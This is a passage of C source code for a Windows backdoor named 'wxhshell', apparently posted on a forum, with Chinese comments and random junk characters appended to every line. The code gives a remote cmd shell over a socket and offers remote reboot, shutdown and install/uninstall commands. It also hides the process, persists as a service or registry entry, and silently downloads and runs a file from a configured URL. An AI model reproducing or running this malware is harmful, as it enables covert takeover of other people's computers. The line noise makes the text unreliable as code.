  case '?': { >?Duz+W)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1:JwqbZKJ  
    break; [#=IKsO'R6  
  } ZDG~tCh=@  
  // 安装 l`uI K.  
  case 'i': { hkb&]XWi[  
    if(Install()) 9tX+n{i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zg$S% 1(Q  
    else i;rcg d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H;R~d%!b  
    break; mC0_rN^Aj  
    } -"NK"nb  
  // 卸载 #c!rx%8I  
  case 'r': { Lqdapx"Z_  
    if(Uninstall()) v,C~5J3h)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^@3,/dH1 t  
    else 5(gWK{R)*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Eug RC  
    break; tr5j<O  
    } SRtw  
  // 显示 wxhshell 所在路径 Jz}`-fU`  
  case 'p': { uNkJe  
    char svExeFile[MAX_PATH]; c]h@<wnv  
    strcpy(svExeFile,"\n\r"); 0SfW:3  
      strcat(svExeFile,ExeFile); B0U(B\~Y  
        send(wsh,svExeFile,strlen(svExeFile),0); Bn9#F#F<  
    break; m]vS"AdX  
    } X%)~i[_DV  
  // 重启 8>@JW]  
  case 'b': { @DIEENiM  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #dKy{Q3he  
    if(Boot(REBOOT)) Vm8@ LA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )X;051Q  
    else { j+fib} 8}  
    closesocket(wsh); `Xz!apA  
    ExitThread(0); G^N@ r:RS  
    } 4Q/{lqG  
    break; 2"HTD|yy  
    } 4(*PM&'R  
  // 关机 8v z h5,U  
  case 'd': { k3H0$1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DF_wMv:>^  
    if(Boot(SHUTDOWN)) GGnlkp& E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /o%VjP"<  
    else { obE8iG@H  
    closesocket(wsh); }zks@7kf  
    ExitThread(0); Unv'm5/L  
    } |_ +#&x  
    break; AT)b/ycC  
    } $|xSM2  
  // 获取shell n\)1Bz  
  case 's': { F~i ~%f,  
    CmdShell(wsh); 4(s HUWT  
    closesocket(wsh); d!w3LwZ  
    ExitThread(0); u7^(?"x  
    break; ;W+8X-B  
  }  63 'X#S  
  // 退出 0PqI^|!  
  case 'x': { V y$*v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4e/!BGkAS  
    CloseIt(wsh); xL1Li]fM!'  
    break; 4d%0a%Z  
    } q\}+]|nGs  
  // 离开 {g#4E0.A!  
  case 'q': { H0#=oJr$)W  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]iGeqwT  
    closesocket(wsh); ;1[Z&Uv8  
    WSACleanup(); 8q%y(e  
    exit(1); "!D y[J  
    break; ^~I@]5Pq  
        } +}N'Xa/Jt  
  } t/Y0e#9,  
  } Bcarx<P-p  
Yb-{+H8{J  
  // 提示信息 zPND $3&'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [nZIV  
} -&sY*(:n_  
  } t))MZw&@  
;:j1FOj  
  return; v+"4YIN  
} w6Nn x5Ay  
SF&2a(~s  
// shell模块句柄 5e$1KN`  
int CmdShell(SOCKET sock) vjS=ZinN"  
{ Lj(cCtb)  
STARTUPINFO si; |mE;HvQF  
ZeroMemory(&si,sizeof(si)); ? "r=08  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QOo'Iv+EL  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *Q^ z4UY  
PROCESS_INFORMATION ProcessInfo; ) jH`lY)1  
char cmdline[]="cmd"; | bz%SB  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); BaW4 s4u  
  return 0; \?>M?6D  
} IC&P-X_aP  
^e_LnJ+  
// 自身启动模式 chKK9SC+|  
int StartFromService(void) / n_s"[I4  
{ !}z'"l4i  
typedef struct Ac|\~w[\  
{ iW^J>aKy  
  DWORD ExitStatus; dgF%&*Il]O  
  DWORD PebBaseAddress; S@qR~_>a  
  DWORD AffinityMask; E Izy  
  DWORD BasePriority; .dk<?BI#H  
  ULONG UniqueProcessId; 7Vsp<s9bj  
  ULONG InheritedFromUniqueProcessId; HK8sn1j  
}   PROCESS_BASIC_INFORMATION; gr SF}y!3  
GM0Q@`d  
PROCNTQSIP NtQueryInformationProcess; J _;H  
.Zczya  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; RC/ 3\ '  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4_kN';a4Q  
tLWw< )t  
  HANDLE             hProcess; Bj1%}B  
  PROCESS_BASIC_INFORMATION pbi; UMR?q0J  
 vUJ; D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8Rwk o6x  
  if(NULL == hInst ) return 0; u*G<?  
a&x:_vv  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); PQkw)D<n]_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ve ysW(z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \jtA8o%n  
0SQr%:zG  
  if (!NtQueryInformationProcess) return 0;  >Ua'*  
^sD M>OHp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -3R:~z^L  
  if(!hProcess) return 0; e4YP$}_L  
 ~2"hh$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h<U?WtWT-p  
+T$Olz  
  CloseHandle(hProcess); &\N>N7/1  
teg5g|*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Gv &G2^  
if(hProcess==NULL) return 0; w!7ApEH1  
@|SeabN^-  
HMODULE hMod; t\K (zE  
char procName[255]; ;"Kgg:K>W  
unsigned long cbNeeded; 5, 1<A@H  
0cq@lT6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .how@>:P+  
8u+kA mI  
  CloseHandle(hProcess); N s+g9+<A  
g0tnt)]  
if(strstr(procName,"services")) return 1; // 以服务启动 ?`piie9V  
#y83tNev  
  return 0; // 注册表启动 ,r~+ 9i0N  
} >#|%'Us  
eo0-aHs  
// 主模块 P9bM+@5e  
int StartWxhshell(LPSTR lpCmdLine) X ha9x,  
{ I "AjYv4R  
  SOCKET wsl; ^m w]u"5\  
BOOL val=TRUE; v.Ba  
  int port=0; Q?k *3A  
  struct sockaddr_in door; {R!yw`#^B  
ZwS:Te9-  
  if(wscfg.ws_autoins) Install();  ma~#E$i&  
\b"rf697 ,  
port=atoi(lpCmdLine); a/j;1xcc<  
F3}MM dX  
if(port<=0) port=wscfg.ws_port; {h?pvH_>  
&J6`Q<U!  
  WSADATA data; N&NBn(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /l*v *tl  
^HSxE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @.e X8~3=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >ou= }/<  
  door.sin_family = AF_INET; ?{S>%P A_B  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .>B'oD  
  door.sin_port = htons(port); 2!^=G=H/  
! I@w3`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { KS$t  
closesocket(wsl); ?bB>}:~j)  
return 1; *p}mn#ru-  
} gF{ehU%  
v|%41xOsr  
  if(listen(wsl,2) == INVALID_SOCKET) { q H}8TC  
closesocket(wsl); lGd'_~'=  
return 1; 1MLL  
} OyZR&,q  
  Wxhshell(wsl); JN0h3nZ_  
  WSACleanup(); + Q-b}  
tK%ie\  
return 0; fjRVYOG#  
'47 b"uV  
} !g|O.mt  
b/'bhE=  
// 以NT服务方式启动 d05xn7%!{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,Xn2xOP  
{ }%_|k^t  
DWORD   status = 0; Zhq_ pus"a  
  DWORD   specificError = 0xfffffff; $D^\[^S  
IOl_J>D]F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; X.fVbePxUU  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4XN \p  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^PZ[;F40  
  serviceStatus.dwWin32ExitCode     = 0; S<i$0p8J;  
  serviceStatus.dwServiceSpecificExitCode = 0; .EKlw##  
  serviceStatus.dwCheckPoint       = 0; m-AF&( ;K  
  serviceStatus.dwWaitHint       = 0; x0 )V o]r  
"I.6/9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h6h6B.\ Ld  
  if (hServiceStatusHandle==0) return; Ei4^__g\'  
<7^|@L 6  
status = GetLastError(); %Rk|B`ST  
  if (status!=NO_ERROR) u&:N`f  
{ = l`)b  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; NIV}hf YF  
    serviceStatus.dwCheckPoint       = 0; #fuUAbU0X  
    serviceStatus.dwWaitHint       = 0; v"G1vSx)BT  
    serviceStatus.dwWin32ExitCode     = status; y]j.PT`Cw  
    serviceStatus.dwServiceSpecificExitCode = specificError; YN8x|DLi?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Mn0.! J "  
    return; tIuM9D{P  
  } *2/Jg'de  
axC|,8~tq  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /Q1*Vh4  
  serviceStatus.dwCheckPoint       = 0; yfG;OnkZ  
  serviceStatus.dwWaitHint       = 0; o :d7IL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ppAbG,7  
} 0?7yM:!l  
PIri|ZS  
// 处理NT服务事件,比如:启动、停止 C >*z^6Gz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `OfhzOp  
{ .vu7$~7  
switch(fdwControl) \o>-L\`O  
{ C]ss'  
case SERVICE_CONTROL_STOP: gu k,GF9p]  
  serviceStatus.dwWin32ExitCode = 0; 5|H;%T 3_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,!:c6F+  
  serviceStatus.dwCheckPoint   = 0; \*$^}8  
  serviceStatus.dwWaitHint     = 0; >]h{[kU %4  
  { hi8q?4jE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;+hh|NiQ  
  } %SmOP sz  
  return; Cj0r2^`  
case SERVICE_CONTROL_PAUSE: ]rG=\>U3~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; bY~K)j v3&  
  break; {T4_Xn-I  
case SERVICE_CONTROL_CONTINUE: /@9Q:'P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; pv]@}+<Dt  
  break; g NI1W@)  
case SERVICE_CONTROL_INTERROGATE: t ed:]  
  break; zj`c%9N+  
}; ^#_gk uyd!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m%|\AZBA#  
} z9o]);dZ  
>dAl*T  
// 标准应用程序主函数 !<w6j-S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S@qPf0dL<  
{ K"!rj.Da  
&f.5:u%{b  
// 获取操作系统版本 F-;JN  
OsIsNt=GetOsVer(); O/~T+T%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); DsdM:u*s  
b^W&-Hh  
  // 从命令行安装 IL@yGuO,  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,HjJ jpE  
P y'BMk  
  // 下载执行文件 Z518J46o  
if(wscfg.ws_downexe) { [+[ W\6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lS=YnMs6a  
  WinExec(wscfg.ws_filenam,SW_HIDE); <-`bWz=+  
} ufL,K q4  
g#I`P&  
if(!OsIsNt) { ;j0.#P:a  
// 如果时win9x,隐藏进程并且设置为注册表启动  Q6 *n'6  
HideProc(); {\$S585  
StartWxhshell(lpCmdLine); 7'wpPXdY1  
}  4!!|P  
else maa pX/J  
  if(StartFromService()) G@s:|oe  
  // 以服务方式启动 c^|8qvS $  
  StartServiceCtrlDispatcher(DispatchTable); Z!v,;MW  
else @[^ 3y C#  
  // 普通方式启动 eu(Fhs   
  StartWxhshell(lpCmdLine); 0]>bNbLB"  
~A0AB `7  
return 0; =-dnniKW4  
}
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只看该作者 1 发表于: 2006-10-10
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